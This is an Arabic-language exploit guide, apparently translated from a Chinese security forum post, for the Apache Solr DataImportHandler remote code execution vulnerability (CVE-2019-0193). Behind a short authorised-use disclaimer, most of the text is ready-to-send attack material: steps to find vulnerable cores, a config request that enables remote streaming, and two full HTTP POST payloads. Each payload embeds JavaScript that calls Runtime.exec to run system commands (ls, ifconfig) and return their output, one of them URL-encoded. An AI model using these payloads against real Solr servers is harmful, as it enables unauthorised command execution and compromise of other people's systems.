
Apache Solr ثغرة تنفيذ التعليمات البرمجية عن بعد (CVE-2019-0193) استغلال
إن طرق الكشف عن الثغرات والملفات والمحتويات الأخرى المقدمة هنا مخصصة حصريًا لمتخصصي الأمن لاستخدامها بعد الحصول على إذن قانوني، وذلك بهدف اختبار أمان الخوادم المرخص لها. يجب على متخصصي الأمن الالتزام بالقوانين واللوائح، ويُمنع منعًا باتًا إجراء أي اختبار ثغرات دون إذن.
تحليل الثغرة - ثغرة التنفيذ عن بُعد في Apache Solr (CVE-2019-0193) - مجتمع Xianzhi
من الناحية النظرية، يمكن استخدام أنواع مختلفة من مصادر البيانات لبناء Exploit.
يستخدم Exploit1 نوع مصدر البيانات URLDataSource
ويستخدم Exploit2 نوع مصدر البيانات ContentStreamDataSource
يستخدم Exploit1 نوع مصدر البيانات URLDataSource
المزايا: ظهور النتائج (إرجاع الناتج)، يدعم اختبار الإصدارات الأقل من Solr
العيوب: يتطلب اتصالًا بالشبكة الخارجية (خروج البيانات)
بناء مصدر بيانات من نوع URLDataSource (سيتصل خادم Solr بمصدر البيانات هذا!) يمكن استخدام هذا مباشرةً
https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml
المستند demo.xml هو مصدر بيانات من نوع URLDataSource - مستند XML عادي غير ضار
يحتوي المستند على عنصر item واحد فقط لتنفيذ الأمر مرة واحدة فقط
يمكنك أيضًا تشغيل خادم ويب خاص بك لاستضافة المستند demo.xml باستخدام الأمر live-server --port=5555 للحصول على العنوان http://127.0.0.1:5555/demo.xml
الحصول على أسماء جميع قواعد الفهرسة (cores) في Solr
http://{xx.com:80}/solr/admin/cores
استجابة HTTP ببيانات JSON تحتوي على أسماء جميع قواعد الفهرسة (cores)
"name":"xxxx"
التحقق مما إذا كانت قاعدة الفهرسة هذه تستخدم وحدة DataImportHandler
الطريقة 1
قم بزيارة
http://{xx.com:80}/solr/{core_name}/admin/mbeans?cat=QUERY&wt=json
إذا كانت الوحدة DataImportHandler مستخدمة، فستحتوي استجابة HTTP على:
org.apache.solr.handler.dataimport.DataImportHandler
وإلا، فهذا يعني أن الوحدة DataImportHandler غير مستخدمة (غير متأثرة بالثغرة)
الطريقة 2
قم بزيارة
http://{xx.com:80}/solr/#/{core_name}/dataimport
إذا كان خادم Solr هذا لا يستخدم وحدة dataimport-handler (غير متأثر بالثغرة)، فستحتوي استجابة HTTP على تلميح:
sorry, no dataimport-handler defined!
وإلا، فهذا يعني أن الوحدة DataImportHandler مستخدمة (متأثر بالثغرة)
تنفيذ الأمر مع ظهور الناتج في استجابة HTTP، يدعم النتائج متعددة الأسطر (لقد كتبت أن كل سطر ينتهي بـ \n\r)
ملاحظة: يجب استبدال السلسلة "tika" في عنوان URL أدناه باسم قاعدة الفهرسة
POST /solr/tika/dataimport HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 1231
Connection: close
command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ls").getInputStream()));
var result = [];
while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}
row.put("title",result.join("\n\r"));
return row;
}
]]></script>
<document>
<entity name="entity1"
url="https://raw.githubusercontent.com/1135/solr_exploit/master/URLDataSource/demo.xml"
processor="XPathEntityProcessor"
forEach="/RDF/item"
transformer="script:poc">
<field column="title" xpath="/RDF/item/title" />
</entity>
</document>
</dataConfig>
يستخدم Exploit2 نوع مصدر البيانات ContentStreamDataSource
المزايا: ظهور النتائج (إرجاع الناتج) دون الحاجة إلى اتصال بالشبكة الخارجية
العيوب: لا يمكن اختبار الإصدارات الأقل - لأن تعديل التكوين في ملف configoverlay.json عبر طلب POST سيفشل
الخطوة 1 محذوفة
الخطوتان 2 و3 كما هو مذكور أعلاه
تهدف هذه الخطوة إلى تعديل التكوين في ملف configoverlay.json لتمكين الخيارات المتعلقة بالتدفقات البعيدة .enableStreamBody و .enableRemoteStreaming
استبدل tika باسم قاعدة الفهرسة
POST /solr/tika/config HTTP/1.1
Host: 127.0.0.1
Accept: */*
Content-type:application/json
Content-Length: 159
Connection: close
{"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": true}, "set-property": {"requestDispatcher.requestParsers.enableStreamBody": true}}
استجابة 200 تعني النجاح (تم الاختبار مع الإصدار 8.1 ونجح)
استجابة 500 تعني الفشل (تم الاختبار مع بعض الإصدارات الأقل وفشلت)
إرسال طلب لتنفيذ أمر النظام ifconfig والحصول على الناتج (بدون أي اتصال خارجي، لا خروج من الشبكة)
POST /solr/tika/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0a%3c%64%61%74%61%43%6f%6e%66%69%67%3e%0a%3c%64%61%74%61%53%6f%75%72%63%65%20%6e%61%6d%65%3d%22%73%74%72%65%61%6d%73%72%63%22%20%74%79%70%65%3d%22%43%6f%6e%74%65%6e%74%53%74%72%65%61%6d%44%61%74%61%53%6f%75%72%63%65%22%20%6c%6f%67%67%65%72%4c%65%76%65%6c%3d%22%54%52%41%43%45%22%20%2f%3e%0a%0a%20%20%3c%73%63%72%69%70%74%3e%3c%21%5b%43%44%41%54%41%5b%0a%20%20%20%20%20%20%20%20%20%20%66%75%6e%63%74%69%6f%6e%20%70%6f%63%28%72%6f%77%29%7b%0a%20%76%61%72%20%62%75%66%52%65%61%64%65%72%20%3d%20%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%42%75%66%66%65%72%65%64%52%65%61%64%65%72%28%6e%65%77%20%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%52%65%61%64%65%72%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%69%66%63%6f%6e%66%69%67%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%29%29%3b%0a%0a%76%61%72%20%72%65%73%75%6c%74%20%3d%20%5b%5d%3b%0a%0a%77%68%69%6c%65%28%74%72%75%65%29%20%7b%0a%76%61%72%20%6f%6e%65%6c%69%6e%65%20%3d%20%62%75%66%52%65%61%64%65%72%2e%72%65%61%64%4c%69%6e%65%28%29%3b%0a%72%65%73%75%6c%74%2e%70%75%73%68%28%20%6f%6e%65%6c%69%6e%65%20%29%3b%0a%69%66%28%21%6f%6e%65%6c%69%6e%65%29%20%62%72%65%61%6b%3b%0a%7d%0a%0a%72%6f%77%2e%70%75%74%28%22%74%69%74%6c%65%22%2c%72%65%73%75%6c%74%2e%6a%6f%69%6e%28%22%5c%6e%5c%72%22%29%29%3b%0a%72%65%74%75%72%6e%20%72%6f%77%3b%0a%0a%7d%0a%0a%5d%5d%3e%3c%2f%73%63%72%69%70%74%3e%0a%0a%3c%64%6f%63%75%6d%65%6e%74%3e%0a%20%20%20%20%3c%65%6e%74%69%74%79%0a%20%20%20%20%20%20%20%20%73%74%72%65%61%6d%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%6e%61%6d%65%3d%22%65%6e%74%69%74%79%31%22%0a%20%20%20%20%20%20%20%20%64%61%74%61%73%6f%75%72%63%65%3d%22%73%74%72%65%61%6d%73%72%63%31%22%0a%20%20%20%20%20%20%20%20%70%72%6f%63%65%73%73%6f%72%3d%22%58%50%61%74%68%45%6e%74%69%74%79%50%72%6f%63%65%73%73%6f%72%22%0a%20%20%20%20%20%20%20%20%72%6f%6f%74%45%6e%74%69%74%79%3d%22%74%72%75%65%22%0a%20%20%20%20%20%20%20%20%66%6f%72%45%61%63%68%3d%22%2f%52%44%46%2f%69%74%65%6d%22%0a%20%20%20%20%20%20%20%20%74%72%61%6e%73%66%6f%72%6d%65%72%3d%22%73%63%72%69%70%74%3a%70%6f%63%22%3e%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%3c%66%69%65%6c%64%20%63%6f%6c%75%6d%6e%3d%22%74%69%74%6c%65%22%20%78%70%61%74%68%3d%22%2f%52%44%46%2f%69%74%65%6d%2f%74%69%74%6c%65%22%20%2f%3e%0a%20%20%20%20%3c%2f%65%6e%74%69%74%79%3e%0a%3c%2f%64%6f%63%75%6d%65%6e%74%3e%0a%3c%2f%64%61%74%61%43%6f%6e%66%69%67%3e%0a%20%20%20%20%0a%20%20%20%20%20%20%20%20%20%20%20 HTTP/1.1
Host: solr.com:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://solr.com:8983/solr/
Content-Length: 212
content-type: multipart/form-data; boundary=------------------------aceb88c2159f183f
--------------------------aceb88c2159f183f
Content-Disposition: form-data; name="stream.body"
<?xml version="1.0" encoding="UTF-8"?>
<RDF>
<item/>
</RDF>
--------------------------aceb88c2159f183f--
ملاحظة: قيمة dataConfig قبل ترميز URL هي السلسلة التالية
<dataConfig>
<dataSource name="streamsrc" type="ContentStreamDataSource" loggerLevel="TRACE" />
<script><![CDATA[
function poc(row){
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("ifconfig").getInputStream()));
var result = [];
while(true) {
var oneline = bufReader.readLine();
result.push( oneline );
if(!oneline) break;
}
row.put("title",result.join("\n\r"));
return row;
}
]]></script>
<document>
<entity
stream="true"
name="entity1"
datasource="streamsrc1"
processor="XPathEntityProcessor"
rootEntity="true"
forEach="/RDF/item"
transformer="script:poc">
<field column="title" xpath="/RDF/item/title" />
</entity>
</document>
</dataConfig>